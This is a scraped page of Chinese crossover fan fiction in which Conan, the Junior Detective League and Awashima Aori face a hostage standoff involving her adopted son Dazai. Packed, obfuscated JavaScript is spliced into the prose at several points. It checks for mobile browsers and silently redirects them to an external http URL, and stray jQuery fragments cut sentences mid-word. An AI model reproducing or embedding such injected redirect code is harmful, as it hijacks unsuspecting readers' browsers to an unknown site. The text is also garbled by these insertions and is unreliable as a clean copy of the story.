RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15783480|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡岛青理说着,在江户川柯南震惊且尴尬的表情中再次凑近,仔细端详着他的眼睛,意味深长地说:“这么看起来,你跟新一长得好像啊,简直一模一样呢,难道……” “啊啊啊啊没错!”江户川柯南急忙扶着眼镜后退,生怕她零帧起手把他的眼镜摘下来,“我和新一哥哥是远房亲戚!” 为什么淡岛夫人还这么清楚地记得他小时候的长相啊?!连小兰和毛利大叔都没有第一时间认出来! 他刚刚认出淡岛夫人的时候有多欢欣雀跃,现在就有多后悔紧张。如果时间能回到两分钟前,他一定先给自己一巴掌,凑那么近干什么?! “啊,好过分啊,柯南,你竟然认识莉帕的妈妈,都没有告诉过我们!”吉田步美噘起嘴,感到十分郁闷。 江户川柯南对这个指控感到十分委屈,不是,他也不知道莉帕是淡岛夫人的女儿啊!他也很震惊好不好?淡岛夫人不是只有津美纪一个女儿吗?怎么新来的转校生也是?没人告诉过他啊! 但是现在不是纠结这个的时候,他顺着步美的话转移话题,故作不满地说:“什么啊,你们不是也见过淡岛夫人吗?” 小岛元太挠头,满脸疑问:“啊?有吗?” “原来如此,”灰原哀在仔细观察了一番后开口,“你就是波洛咖啡厅那女孩的妈妈吧。” “小哀也认识大姐姐吗?” 灰原哀:“你们忘了吗?那个叫伏黑津美纪的女孩钱包里的照片。” “啊!”三小只想起来了,“原来大姐姐是津美纪姐姐的妈妈!” 在灰原哀的提醒下,三小只把眼前的漂亮姐姐和曾经看过的照片对上了号。 开在毛利侦探事务所对面的波洛咖啡店有三个店员,常驻的小梓姐姐,兼职的津美纪姐姐,以及后来加入的经常请假的安室哥哥。他们几个经常去那个咖啡厅,和三位店员都很熟。 有一次津美纪姐姐的钱包丢失,是他们少年侦探团帮忙找回来的,他们就是在那个时候看见过钱包里的照片。 圆谷光彦突然间想到了一件事:“既然大姐姐是津美纪姐姐的妈妈,那岂不是说莉帕和津美纪姐姐是姐妹?难怪有人说看到过莉帕出现在波洛咖啡厅!” 小岛元太:“是啊,津美纪姐姐竟然都没有提起过!” 听到小岛元太的话,莉帕在心里撇了撇嘴,她可是千叮咛万嘱咐过,津美纪当然不会说了! 吉田步美想,原来津美纪姐姐和莉帕同学是姐妹,太好了,这样就更方便和莉帕同学交朋友了! 她转动一双水灵灵的大眼睛,真诚地说:“大姐姐一家都好漂亮啊。” 淡岛青理完全抵挡不住小孩子天真的视线,双手捧脸声音荡漾地说:“谢谢,你也很漂亮很可爱啊!你要不要来……”话音未落,突然传来“咚”的一声轻响。 吉田步美:“啊咧……什么声音?” 莉帕收回自己穿着小皮靴的脚,淡定回答:“没什么,你听错了。” 江户川柯南流汗:喂喂,她刚刚是给了淡岛夫人一脚吧? 他的目光不由自主地移到了灰原哀身上。 灰原哀:“?看我干什么?” 21.第 21 章 被踢了小腿的淡岛青理轻咳一声,恢复了温柔端庄的作态:“没想到你们也认识津美纪,真是太巧了。” 小岛元太:“嗯!津美纪姐姐做的蛋包饭特别好吃!” 淡岛青理就像听见自己被夸一样,开心地弯了弯眉眼:“对了,我还是正式地自我介绍一下吧。我叫淡岛青理,是津美纪的妈妈,目前居住在横滨。” 阿笠博士挠了挠头,说道:“你好淡岛夫人,我叫阿笠。这些孩子们是……” “我们是少年侦探团!”三小只说着聚在一起,摆出了动画片里假面超人同款姿势。 “我是吉田步美。” “我是圆谷光彦。” “我是小岛元太。” 三小只回头:盯—— 江户川柯南故作天真,实则尴尬低脚趾扣地:“我吗?我叫江户川柯南。”天啊,为什么要让他在淡岛夫人面前做这么羞耻的自我介绍? 吉田步美小跑两步,抓住灰原哀的胳膊说:“还有小哀也是少年侦探团的一员哦。” 茶色头发的小女孩神色平淡地打了招呼。 莉帕:出现了,让人脚趾扣地的自我介绍。 淡岛青理弯腰鞠躬:“莉帕平时承蒙各位关照了。” 圆谷光彦红着脸连连摆手:“没有没有,莉帕同学很厉害的,成绩特别好。” 吉田步美:“是啊是啊,像柯南和小哀一样厉害!我们都很喜欢莉帕同学!” 莉帕:话都没说过几句,究竟为什么会喜欢啊? 阿笠博士见众人已经在出站口聊了许久,怕耽误二人的行程,于是问道:“淡岛夫人是要去哪里?” 江户川柯南接话:“应该和我们顺路吧。淡岛夫人应该是要去看望津美纪姐姐吧?津美纪姐姐现在住在新一哥哥家里。不过现在是波洛的营业时间,津美纪姐姐应该在波洛咖啡厅。” 淡岛青理:“没错,柯南你好厉害!” 江户川柯南尬笑:“哈哈哈哈没有啦。” 于是一行人就一起乘坐公交前往了波洛咖啡厅,路上几人也一直在闲聊。 “原来如此,你们昨天是去野营了啊。” 圆谷光彦:“是的,周五的时候我们有邀请过莉帕同学一起,但是莉帕同学每次放学都马上回家了,周末也不怎么出来玩。” 小孩子们的观念里,朋友不出门玩肯定是家长不允许。所以吉田步美仰起头恳求:“大姐姐,你让莉帕同学和我们玩好不好?” 淡岛青理低头:“嗯……” 莉帕偏头避开她的目光。 淡岛青理背下这口黑锅:“因为莉帕住得有些远呢,如果放学不立刻回家的话会很危险的。不过,如果你们去横滨的话,非常欢迎你们来找莉帕玩哦。” 三小只:“啊,这样啊……” 几人非常失落,趁机邀请莉帕加入少年侦探团的算盘落空了,但他们很快就打起精神讨论什么时候去横滨玩。 江户川柯南:喂喂,你们认真的吗?去横滨?那种混乱的地方可不是你们这些小孩子该去的。 小孩子自然是不懂横滨有什么可怕,他们叽叽喳喳地拉着淡岛青理讲话,打听横滨的各种新鲜事物。 缩在淡岛青理身后的莉帕偷偷打了个哈欠,对于自己把青理推出去应付小孩子的行为没有感到丝毫愧疚。反正青理喜欢孩子,这不是正好吗? 就这样热热闹闹走了一路,快要到达波洛咖啡厅的时候,一路上都在尽力减少自己存在感的江户川柯南终于还是没忍住。 他夹着嗓子开口询问:“呐呐,淡岛阿姨,为什么新一哥哥从来没有提起过莉帕呢?他说你只有一个儿子和一个女儿啊。” “这个啊,”淡岛青理脚步不停,只是放慢了步伐走到他身边,“因为莉帕是在你的新一哥哥失联之后才回到家里的啊。之前因为一些原因,莉帕一直寄养在别处。” 听了他的解释,江户川柯南不仅没明白,反而更迷糊了。 意思是说,莉帕原本是和淡岛夫人生活在一起,后来被寄养在别人家,几个月前才回来和淡岛夫人一起生活的吗? 可是这说不通啊,他和淡岛夫人认识已经六年了,他妈妈藤峰有希子和淡岛夫人关系非常亲近,几乎无话不谈,他可从来没听他妈提起过淡岛夫人还有一个寄养在外的女儿。 而且莉帕今年才七岁,他自从与淡岛夫人认识以来从没见过莉帕,难道她还不足一岁的时候就被淡岛夫人送出去寄养了吗? 江户川柯南觉得这不太可能。 淡岛夫人非常喜欢孩子,没道理把那么小的孩子送走,还绝口不提。 江户川柯南想不明白,但又担心继续追问会触及淡岛夫人的隐私,所以自己低着头纠结了一路。 很快,几人就来到了波洛咖啡厅门口,三小只最先推门进去,然后报菜名一样把人喊了个遍:“安室哥哥,小梓姐姐,津美纪姐姐!” 咖啡厅里,黑皮金发的青年听到声音放下餐盘看过来:“是你们啊,是来吃午饭的吗?” 淡岛青理牵着莉帕的手走了进来,眉眼弯弯:“安室先生,小梓小姐,好久不见。” 看到淡岛青理的身影,穿着围裙的小梓非常开心。她很喜欢温柔的津美纪,也很喜欢同样温柔的津美纪的妈妈。 “啊,是淡岛夫人!好久不见!您是来看望津美纪的吧?稍等,我这就去叫她!” 她一溜烟地跑进了后厨,安室透很自然地站到柜台后接替她的工作。 “安室哥哥你们也认识大姐姐吗?” 安室透回答:“是啊,津美纪小姐刚来工作的时候淡岛夫人有陪她来过。” 淡岛青理:“不好意思又来打扰了。” “哪里,你们先找个位置坐下来吧,我一会儿送些甜点过去。” 于是一行人找了个角落的位置坐了下来,没一会儿,一个黑色长发扎着马尾的女孩就从后厨走了过来。 她穿着帝丹高中的女子校服,笑着和众人打招呼,声音优雅又温柔,身后仿佛有百合花蔓延。 “妈妈和莉帕一起来看我,我好高兴。” 淡岛青理小跑到她身边,用力地抱了她一下:“津美纪,妈妈好想你!你有没有好好吃饭?怎么好像瘦了?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15789870|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >少女熟练地拍拍她的背,说:“才没有瘦,我的体重可是维持得超棒的。” 少女和她一起落座,微笑着看向几个小朋友:“没想到少年侦探团的大家也在,这两位就是我的妈妈和妹妹了。” 圆谷光彦:“虽然刚刚就已经知道了,但是现在才有一点实感呢。” 小岛元太:“是啊,津美纪姐姐和莉帕竟然是姐妹,长得一点都不像。” 吉田步美:“而且姓氏也不一样,津美纪姐姐姓伏黑,莉帕却姓阿、阿……” “是阿尔托莉丝。” 没忍住接了一句的江户川柯南懊恼地闭上了嘴。 虽然觉得三小只初次见面就这么刨根问底很没礼貌,但事实上他也好奇得很。 虽然淡岛夫人是他干妈,但他其实跟伏黑姐弟并不太熟,毕竟他们一家是一年多前才搬来米花的,在那之前大多是电话联系。 淡岛夫人从来没有提起过她的丈夫,就像那个人不存在一样,他的妈妈有希子认为这或许是一段不太愉快的往事,所以从来不会主动提及她的家事。 工藤新一虽然有时候情商欠费,但是在藤峰有希子的提醒下也没有主动追问过,这次三小只无意间提起几人的外貌,也算是替他问出心底多年的疑惑了。 不只是津美纪姐妹长得不像,算上那个叫惠的刺猬头少年,这一家四口长得都不怎么像啊! 伏黑津美纪是很标准的东方长相,黑长直的柔顺秀发,长长的睫毛和小巧的瓜子脸。她在气质上与淡岛夫人极为相似,都是温柔有礼,会让人不自觉放下心防的类型,只是现在的少女缺少一些成熟多了一份青春活力。 但是淡岛夫人很明显还有一部分西方血统,津美纪却没有遗传到一点儿。 如果说这是因为淡岛夫人的丈夫是日本人的话,那莉帕又怎么解释?银发金瞳的萝莉是完完全全的西方长相啊!她的穿衣打扮也明显更偏向西式,不说话的时候精致得像一个洋娃娃。 至于性格…… 柯南一时间不知怎么形容,但总之从难搞程度上看可以当成另一个灰原。 “因为我其实是妈妈的养女啊,”伏黑津美纪笑着承认,并不忌讳谈到这个话题,“虽然我和妈妈发色很相近,但其实莉帕才是妈妈的亲生女儿。” “原来是这样,”安室透端着托盘,不知什么时候站在了桌边,“莉帕小姐的眉眼轮廓确实和淡岛夫人很像呢。” 说完后他迟钝地感觉到了不妥:“啊,不好意思,我不是故意偷听的,只是想给各位送一些甜点。” 他把托盘上精致的点心和饮品摆到桌子上对几人道了歉,然后又好奇地问道:“津美纪小姐应该还有一个弟弟吧?我记得他也来看过你几次。” 津美纪:“是说惠吗?我和他是一起被妈妈收养的。” 阿笠博士闻言忍不住说:“淡岛夫人真是心地善良啊。” 淡岛青理轻轻摇头,从言语到表情都透露着过量的喜爱:“哪有,只是因为津美纪和惠都是特别好的孩子,所以忍不住想拥有啊……” 众人:……怎么感觉哪里怪怪的,错觉吧。 22.第 22 章 津美纪早已习惯了妈妈时不时冒出来的肉麻的怪话,笑了笑,接着询问:“对了,惠和治没有一起来吗?”自从得知有了新的家庭成员,她一直很想见一见,原本她就打算下个周末请假回家一趟的。 “治?是谁?”众人疑惑。 “是我新收养的孩子,”淡岛青理笑了笑,复又带上愁容,“说是收养,其实太宰还没有同意呢。那孩子最近离家频繁,而且经常带着伤,让人很担心他会不会某天不打招呼就离开了。我擅自地说什么想让他留下来的话,会不会其实让他很困扰呢?” 最感性的吉田步美立刻耷拉下了眼角:“怎么会这样……大姐姐不要伤心了。” 一直没说话的灰原哀捧着加热过的可可,低声说:“我倒是能理解那个少年的感受。习惯在黑暗中行走的人遇见阳光只会害怕闪躲,阳光下的沙滩即使再温暖,终究还是要回到冰冷的深海。拥有是失去的开始,一无所有才是我们的舒适区。” 阿笠博士:“小哀……” 江户川柯南死鱼眼:喂喂,这女人又趁机发什么疯啊? 他正想说点什么糊弄过去,一抬头却对上了泪眼汪汪的一张脸。 淡岛青理掏出手帕抹着眼泪,边哭边说:“呜呜呜呜呜,好难过啊,小哀是过得不好吗?是不是有人欺负你?你愿不愿意来我家?我家还有好多空房间的呜呜……” 这是什么?没人要的小孩?捡一下! 她的眼泪像决堤一样哗啦啦地往下流,止都止不止。众人手忙脚乱地安慰她,连灰原哀都被她惊得脱离了阴暗蘑菇的形态。 旁边的莉帕睁着死鱼眼一勺一勺机械地往嘴里送蛋糕。 这家伙又趁机发什么疯啊,丢死人了! “啊!死人啦——” 一声惨叫响起,莉帕瞪大了双眼,确定这不是自己发出的声音,而是从店外传来的。 这句话仿佛按下了什么开关,坐在桌边的小男孩跳下椅子就跑了出去,黑皮金发的服务生也在第一时间冲向了声音传来的地方。 少年侦探团的三小只:“走,我们也过去看看!” 阿笠博士立刻不放心地跟了上去。 还剩下灰原哀自己。 她看了看哭到一半被打断,呆呆地望着几人跑去的方向眼角还不自觉淌着眼泪的女人,默不作声地跳下椅子也往案发现场去了。 这个女人实在可怕,还是离远点好。 刚刚还热热闹闹的角落,瞬间空了一大半。 莉帕:“果然,还是出现了。” 淡岛青理眨眨眼睛挤掉眼角的一颗泪珠:“啊,熟悉的地域特色。” 米花的居民最值得敬佩的一点就是,无论过去多久都不会被波澜起伏的生活磨灭好奇心。没一会儿店里就空了,客人们纷纷跑出去围观发生了什么事。又过了一会儿,有警车拉着警笛从咖啡厅前飞驰而过。 淡岛青理从包里拿出为津美纪买的发卡,并不想去凑那个热闹。她在米花生活一年也没有直面过案发现场的秘诀就是,不要凑热闹! 小梓小姐去外面打听情况,过了一会儿带回来一个好消息和一个坏消息。 好消息是犯人犯案被当场撞破,现在已经被侦探和警方追上了。 哇,当街犯案,还是在毛利侦探事务所附近。淡岛青理给津美纪戴上樱花发卡,感慨自己离开的这段时间里米花的犯人又进化了。 “那坏消息呢?” “坏消息是犯人抓了一个孩子做人质,以此要挟警方。” 好勇敢的犯人!他不吃柯南一脚足球都对不起他的努力。 小梓小姐很是担心:“现在犯人要求警方给他备车,放他离开,不然就要伤害人质,怎么办呀?” 淡岛青理欣赏着自己美丽的女儿,很不走心地安慰她:“不用担心,相信警官先生和安室先生一定会救下人质的。” 搜查一课,柯南,毛利小五郎肯定也在,这个配置无论做什么都会赢的!整个米花,就是一个巨大的侦探剧! “是这个道理啦,”小梓小姐说,“可是那个被当作人质的孩子看起来状态很不好,浑身缠满绷带,只露出一只眼睛,脸上还带着伤,让人很担心啊。” 淡岛青理:“嗯……嗯?!” · 距离波洛咖啡厅大概三公里外的街道上拉起了警戒线,人群在警戒线外围成一团。 “退后,请不要靠近!”负责维护秩序的警员努力疏散人群,但还是有人一直停留在原地围观。 毛利小五郎越过警戒线来到目暮警官身边问:“怎么回事?现在什么情况?” 目暮警官皱着眉严肃回答:“嫌犯杀了两个人,在杀害第二名死者时被路人撞见了,犯人逃跑途中劫持了一个孩子。” 安室透接着说:“是我的错,毛利老师,我追捕嫌犯的时候没注意到街角有个孩子。” 他是真的很愧疚,也是真的很疑惑。明明他和小侦探追捕嫌犯的时候是将嫌犯赶往了无人的区域,可这个孩子就像突然冒出来一样撞在嫌犯手里,在那之前没有人发现他的存在。 街道中央,双目突出面色怒红的大胡子男人左手手臂勒住少年的脖子,右手拿着刀在他脖颈处不停地比画。 “别过来,都别过来!叫你们的人往退后!不然我就杀了他!” 目暮警官让人拿来一个大喇叭,冲着犯人安抚:“别激动,别激动,有什么事情都好商量,先把那个孩子放下。”他一边拖延时间,一边让高木快点查出嫌犯和两名被害者之间是什么关系,以此来明确谈判方向。 “你当我傻吗?”男人大吼:“我再说一遍,想让这个孩子活命就立刻给我准备一辆车!” 淡岛青理就是在男人零元提车的梦想中赶到的。 她踩着木屐冲过了警戒线,两个警察都没跑过她。 “太宰!” 她远远地就见一个落魄疯狂的男人手中掐着一个少年。 少年身着黑色外套,浑身缠满绷带,脸上还带着血痕,仅露出一只的鸢色眼睛中写满生无可恋,四肢下垂像一条被掐住后脖颈拎起的猫。 天杀的!我一眼就认出这是我家孩子! 森鸥外那个杀千刀的都在给我家孩子吃什么啊!才几天啊,看这小脸瘦的,下巴都尖了! 可怜的女人认出了被人挟持的是自己的孩子,花容失色,面露乞求,围观人群无不为之叹惋落泪。 刚刚没流完的眼泪此时终于有了用武之地,淡岛青理伸出手哭着说:“不要伤害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793832|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太宰!你要什么我都答应你!” 几名警察连忙拉住她:“夫人,您冷静一点!” 站在目暮警官身边江户川柯南震惊地看过来:“淡岛夫人?!” 他第一反应是让她离开这里,但是很快他就从淡岛青理的话语中判断出来被劫持的少年正是她最近收养的孩子。 可恶!江户川柯南锤了一下墙壁,怎么会有这么巧的事情! 犯人见了这幅场景哈哈大笑:“没错!要是不想你儿子死的话就让那些警察放了我,不然就让你儿子给我陪葬!” 江户川柯南冲他喊道:“叔叔,你冷静一点!警察叔叔们已经去准备车了!你不要激动,无论你和死者有什么恩怨都已经结束了,不要再伤害无辜的人!” “无辜?难道我就不无辜吗?!” 男人突然激动,语气激烈地说:“藤原那个家伙到我的公司散播我的谣言,害我被公司开除,老婆孩子都跑了!都是因为他!我杀他是因为他罪有应得!” 他大吼大叫着,发泄自己心中的愤懑和不满。 没错,都怪藤原,是他逼自己动手的!如果不是他步步紧逼的话,他怎么会杀人?还有那个突然出现的男人,要怪就怪他撞见了自己杀人,他也是逼不得已才杀了他的! “好吵啊,大叔。” 突如其来的声音,近得像在耳边响起。男人猛地低头,那个被他随手抓来当人质的少年向上仰头,抬起一只眼睛平静地看着他。 “要杀就快点好吗?我一点也不想和男人搂搂抱抱。” 男人被那只鸢色的眼睛刺了一下,有种整个人被看穿的心悸。 反应过来后他恼羞成怒地勒紧了手臂:“臭小鬼!这哪有你说话的份!” “咳咳咳!”太宰治被勒得喘不上气,咳了两声。 “哎呀……恼羞成怒了吗?” 他目光没有移动,继续挑衅。 “那时候也是吧?虽然他说的都是事实。” “是你在前公司做假合同骗了他的钱拿去赌博,老婆孩子也是受不了你的为人才走的。但是那又怎样呢?他说出来就是他的不对。你都已经道歉了,他怎么还能到你现在的公司去闹事呢?” “所以你决定杀了他。” 太宰治的音量放得很低,远处的警察等人只能看见他在说话,根本听不见他说了什么。 佐藤警官十分担心:“糟了,那孩子别说什么刺激犯人的话。” 江户川柯南努力想要听清两人的对话,但是淡岛夫人在他旁边哭得抑扬顿挫起承转合,他什么也听不清。 太宰治还在输出。 “噗噗~”他面无表情地发出故作可爱的笑声,眼底充满恶意,“不会吧不会吧?你不会真的因为他说了实话就恼羞成怒了吧?” “杀人的感觉怎么样?”他这句话像在问犯人,又像在问别的什么人。 “你应该是从背后偷袭他的吧?趁着他弯腰从地上捡东西的时候。” “你用赔偿他的损失为理由约他出来,又用现金太多被人看到不好当借口,把他约到平常不会有人经过的小巷里,然后在他弯腰捡手提包的时候杀了他。” 随着他一句一句地揭露事实,男人的额头上逐渐渗出了冷汗。 23.第 23 章 随着太宰治一句一句地揭露事实,男人的额头上逐渐渗出了冷汗。 “为什么、为什么你会知道这些……” 太宰治:“你甚至还准备了他竞争对手的随身物品,打算嫁祸于人。可你千算万算没想到,平时没人的巷子会出现行人。” 男人:“别说了,别说了……住口!” 太宰治勾起唇角:“难道你不好奇吗?明明在巷口放了‘前方施工请绕行’的牌子,为什么还会有人从那里路过呢?” 男人闻言愣了一下,然后突然明白了什么,目眦尽裂。 “是你?!” “Bingo~”少年眼底恶意满满,“答对了,但是没有奖励。” 直到现在,男人才知道自己落入如今的境地是拜谁所赐。 恶魔。 这个家伙是恶魔。 他大脑一片混乱,大口大口地喘着粗气,抵着少年脖颈的刀不停地抖动。 “为什么,你为什么要那么做?!” 那边,高木警官带着被害者和嫌犯的资料匆匆赶来。 “目暮警官!犯人叫中川岩上,与第一名死者藤原近泽是前同事关系,两人之间存在巨大经济纠纷。第二名死者于今早从横滨乘坐新干线抵达米花,我们查不出他的身份。” “但是,根据监控摄像头拍到的他的行踪,我们怀疑他在跟踪什么人。” 面对男人的质问,少年一动不动地盯着他,像是在欣赏他脸上的怒容,直到看得他几乎撑不住脸上的表情才慢吞吞地开口:“哎?倒也并不是针对你啦,我只是想找个办法让那家伙消失而已。谁叫你刚好在那里行凶呢?” “杀一个也是杀,杀两个也是。我想你一定不会拒绝帮我这个忙的吧?只是没想到你那么废物,竟然还给他留了口气,到头来还要我自己了结掉他。” 太宰治眸色深沉,手指不自觉地动了动。 男人不敢相信自己听到的话,他惊怒交加。 怒的是,自己完美的杀人计划不仅被破坏了,还做了别人手里的棋子。 惊的是,为什么? 为什么要故意被自己挟持?为什么现在要告诉他这些? 听着自己越来越清晰的心跳声,男人的瞳孔逐渐收缩。 “哈,看来你想明白了。” 随着少年轻嘲的声音,男人感觉自己的风衣外套一沉,口袋里多了一个沉甸甸的东西,那是…… “是枪哦。”少年说,“□□自动手枪,横滨黑手党的常用枪,要搞来实在很容易呢。” 男人目光直直地盯着这个恶魔一般的少年,大脑已经无法思考。 太宰治:“别这么紧张,我是来帮你的。” “警察只要稍微检查一下尸体就会发现,那人虽然身中多刀,但致命伤却是一道枪伤。如果他们逮捕了你,而你坚称自己没有用枪,在你身上也搜不到枪的话,那我就有麻烦了。” “所以啊,我是来帮你逃跑的。” 少年的声音中带着蛊惑:“刀威胁不到警察的话,用枪怎么样?你用枪抵着我的脑袋威胁警方,等你离开这里再放了我,之后我会为你准备潜逃出海的路线,这样我们谁都没有损失。” 男人脸颊的肌肉都在神经质地颤抖,他猛地将刀尖贴近,激动地开口:“不,我不会信你的,你一定是有什么阴谋!” 刀尖划破少年的脖颈,雪白的绷带上很快洇出一片鲜红。 江户川柯南:“糟了!犯人被激怒了!” 佐藤警官和高木警官迅速举起配枪瞄准犯人,警惕地盯着他的一举一动。 可恶! 佐藤美和子紧盯着犯人的手,却根本不敢开枪。 犯人的要害都被少年挡住了,刀尖又离人质太近,她不能赌。 脖颈传来阵阵刺痛,锋利的刀尖还紧贴着皮肤,但是太宰治就像没有知觉一样,面色没有丝毫改变。 “好无趣啊,大叔。”他的声音中似乎带着失望,“我以为虽然你伪善,自私,狡诈,好赌,但至少还有和警察对峙的勇气,没想到你这么胆小吗?啊,难怪你的妻女要离开你了,原来连唯一的优点都不存在啊。” “你还不明白吗?没有我,你根本离不开这里。如果我死了,你的人生就完蛋了哦。” 男人瞪着布满红血丝的双眼,心中有个声音不停地叫喊着:别信他,不能相信他!他是恶魔! 但是贴着少年脖颈的刀尖不自觉地慢慢远离。 不知道少年说了什么,但是察觉到犯人态度有所动摇的江户川柯南一手调整眼镜对焦犯人手里的刀,另一只手放在腰带上伺机而动。 可惜犯人只是动摇,并不是犯蠢。刀尖没有移动几厘米就停住不动了。 江户川柯南:可恶!就差一点! 然而原本一直安静的黑衣少年突然动了,他用力向前,将自己的脖颈直直地撞向刀刃。 “什么?!” 男人大惊失色,慌乱之下竟然直接移开了自己拿刀的手! 佐藤大喊:“就是现在!” 比佐藤和高木的枪更快的是柯南的足球,原本应该出现在球场上黑白球体闪电般击中了犯人拿刀的手,刀直接从犯人手中飞了出去。 但是犯人的另一只手还勒着人质的脖子,所以两人在冲击力的作用下一起向后飞出倒在了地上。 “打中了!” 安室透和柯南一起冲了过去。 佐藤警官放下举枪的手,低头长舒了一口气,余光一扫,却见犯人没有爬起来逃跑,而是松开人质将手伸进了衣兜内。 身后传来警员的奔跑声:“目暮警官!第二名死者背后发现枪伤,犯人身上可能有枪!” 佐藤警官猛地抬头:“什么?!” 男人躺在地上,感受着右手手腕钻心的疼痛,心智已经被怒火覆盖。果然,一切都是那个少年的阴谋!都是他想摆脱自己的阴谋! 不,他不会再让那个恶魔得逞了! 他没有去看向他奔来的警察,而是紧紧盯着看上去十分虚弱的少年,左手从口袋里掏出了那把枪,大吼:“去死吧!” “砰——” “砰——” 鲜血在太宰治眼前迸溅,猩红的液体落在脸颊上,是温热的。 飞奔而来的金发男人一把将他抱在怀里,不让他看见旁边骇人的景象。 远处的高楼上,警方的狙击手看着慢慢流淌的鲜红,收起了狙击枪,“报告,目标已击毙。” “你没事吧?”安室透急切地询问人质的状况,双手迅速地在少年身上摸索了一遍。 除了脖颈处无明显外伤,没有中枪,太好了。 但是刚刚有两声枪响。是犯人打偏了吗?不,不对,那枪声是…… 太宰治靠在男人怀里,借着遮挡勾起唇角——真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802414|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是抱歉啊,比起逃犯,还是死人更让人安心。 他用力挤出两滴眼泪,卖力地装可怜:“天啊,好可怕呀,吓死我了呜呜呜呜,他竟然有……枪……” 少年的话逐渐没了声音,他的视线越过安室透的肩膀看向远处,鸢色的眼睛缓缓睁大…… 扑通—— 拿着枪的女人双腿一软,重重地跪在了地上。 “淡岛夫人!” 几名警察将她围了起来,一人夺过她手里的枪,另一人扶住她的身体。 佐藤美和子焦急地摇晃她:“淡岛夫人!醒醒!醒醒!快叫救护车!她晕过去了!” …… 【“好重的腥味,你受伤了?” 当视线受阻,眼前一片昏暗,听觉和嗅觉就会变得灵敏起来。 发霉的木材与潮湿的尘土气里,混杂着一丝血腥味,不重,但在女人的鼻腔里格外明显。 身边传来细微的动静,似乎来人在她不远处坐了下来。 “你是狗吗?这都能闻得到?” 男孩的声音尚且稚嫩,却毫不掩饰言语中的冰冷与恶意。因为他知道女人现在是个行动不便的瞎子,所以也就不再耗费力气进行多余的伪装。 女人听过很多类似的评价。 追猎的恶犬,魔协的走狗。 “上一个这么说的人,如今已经化成微粒飘散在了星海中。小鬼,你想试试吗?” “哈。”男孩不屑地笑了一下,探过来的手重重地按在她头部的伤口上,带起一阵钻心的疼痛。 “就凭你现在这副瞎眼的模样吗?” 女人面色丝毫未变,就像那道贯穿她整个颅脑的伤口并不存在一样。 她只是用那双无神的灰色眼眸望着男孩的方向,冷声说:“倒是忘了,你是个不怕死的。” 男孩慢吞吞地收回手,拿出了带来的食盒。 冷掉的饭菜已经失去了原本的香气,但食物的味道还是钻进了女人的鼻腔,她不悦地皱起眉头,“你当我这里是什么了?野餐地吗?” 男孩面无表情地嚼着已经冷掉的食物,平静地回怼:“即使这个神社已经荒废了,也仍然是津岛家的地盘。正确地说,是你把我这里当成了露营地。你是什么无家可归的野狗吗?” 哈,牙尖嘴利。女人扯一下嘴角,牵动了脸侧的刀伤,温热的血液顺着下颌滴下。 “既然这里都是你的地盘,小少爷,你又是怎么受伤的?” 男孩摸了摸脖颈上的绷带,垂下眼睑。 “今天父亲的书房里闯进了一个男人,似乎是来寻仇的,正在书房汇报功课的我就倒霉地被劫持了。” “那男人倒是窝囊,只给你添了道划痕。” “错了哦,”男孩说,“伤不是男人造成的。父亲说不用顾及我,命令守卫直接擒住男人。伤是守卫和男人推搡间用佩刀划的。” 女人沉默了一下,再次开口时声音仍旧冷淡:“倒是符合我对你的印象,不讨人喜的小鬼。” “杀了你哦。”男孩用平静的声音威胁。 女人不甚在意,甚至感到有些好笑:“你当然应该杀了我,如果你做得到的话。毕竟你是唯一一个见过我的人,等我伤好之后,第一个要灭口的就是你。” 男孩同样不在乎地收起了只吃了几口的餐盒,声音空洞且毫无波澜。 “好啊,我等着。” 】 24.第 24 章 米花中央医院,住院部,高级病房。 “医生!我妈妈怎么样了?” 少女从走廊另一侧飞奔而来,第一时间拽住了从病房出来的医生的衣角,飞快地询问。 “你是这间房的病人的家属?”医生熟练地安抚她:“放心,病人是情绪波动太大引起的血压下降,脑部缺氧,只是暂时晕过去了。好好休息,醒来后静养一段时间就没事了。” 太好了,太好了。 悬着的心终于落了下来,少女手一松,身形摇晃了一下。 从得知弟弟被挟持,到听到妈妈晕倒住院的消息,中间也不过短短半个小时。在得知消息的那一刻,她就像坠入了冰窟,四肢冰凉,几乎感觉不到手脚的存在。 不会有事的,对不对? 这一路上,她几次翻出伏黑惠的电话,手指几次在播出键上停留,最终还是没有打给他。 